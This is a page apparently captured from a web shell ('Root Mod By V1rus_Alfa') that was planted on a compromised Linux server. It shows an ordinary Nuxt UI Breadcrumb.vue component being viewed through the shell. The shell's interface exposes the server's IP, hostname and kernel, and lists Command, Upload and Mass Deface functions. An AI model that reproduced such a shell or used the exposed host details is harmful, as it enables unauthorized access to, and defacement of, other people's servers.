���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules
/
@nuxt
/
ui
/
dist
/
runtime
/
components
/
navigation
/
Viewing: Breadcrumb.vue
<template> <nav aria-label="Breadcrumb" :class="ui.wrapper" v-bind="attrs"> <ol :class="ui.ol"> <li v-for="(link, index) in links" :key="index" :class="ui.li"> <ULink as="span" :class="[ui.base, index === links.length - 1 ? ui.active : !!link.to ? ui.inactive : '']" :aria-current="index === links.length - 1 ? 'page' : undefined" v-bind="getULinkProps(link)" @click="link.click" > <slot name="icon" :link="link" :index="index" :is-active="index === links.length - 1"> <UIcon v-if="link.icon" :name="link.icon" :class="twMerge(twJoin(ui.icon.base, index === links.length - 1 ? ui.icon.active : !!link.to ? ui.icon.inactive : ''), link.iconClass)" /> </slot> <slot :link="link" :index="index" :is-active="index === links.length - 1"> <span v-if="link.label" :class="twMerge(ui.label, link.labelClass)">{{ link.label }}</span> </slot> </ULink> <slot v-if="index < links.length - 1" name="divider"> <template v-if="divider"> <UIcon v-if="divider.startsWith('i-')" :name="divider" :class="ui.divider.base" role="presentation" /> <span v-else role="presentation">{{ divider }}</span> </template> </slot> </li> </ol> </nav> </template> <script> import { defineComponent, toRef } from "vue"; import { twMerge, twJoin } from "tailwind-merge"; import UIcon from "../elements/Icon.vue"; import ULink from "../elements/Link.vue"; import { useUI } from "../../composables/useUI"; import { mergeConfig, getULinkProps } from "../../utils"; import appConfig from "#build/app.config"; import { breadcrumb } from "#ui/ui.config"; const config = mergeConfig(appConfig.ui.strategy, appConfig.ui.breadcrumb, breadcrumb); export default defineComponent({ components: { UIcon, ULink }, inheritAttrs: false, props: { links: { type: Array, default: () => [] }, divider: { type: String, default: () => config.default.divider }, class: { type: [String, Object, Array], default: () => "" }, ui: { type: Object, default: () => ({}) } }, setup(props) { const { ui, attrs } = useUI("breadcrumb", toRef(props, "ui"), config, toRef(props, "class")); return { // eslint-disable-next-line vue/no-dupe-keys ui, attrs, getULinkProps, twMerge, twJoin }; } }); </script>
Coded With 💗 by
0x6ick Mod By V1rus_Alfa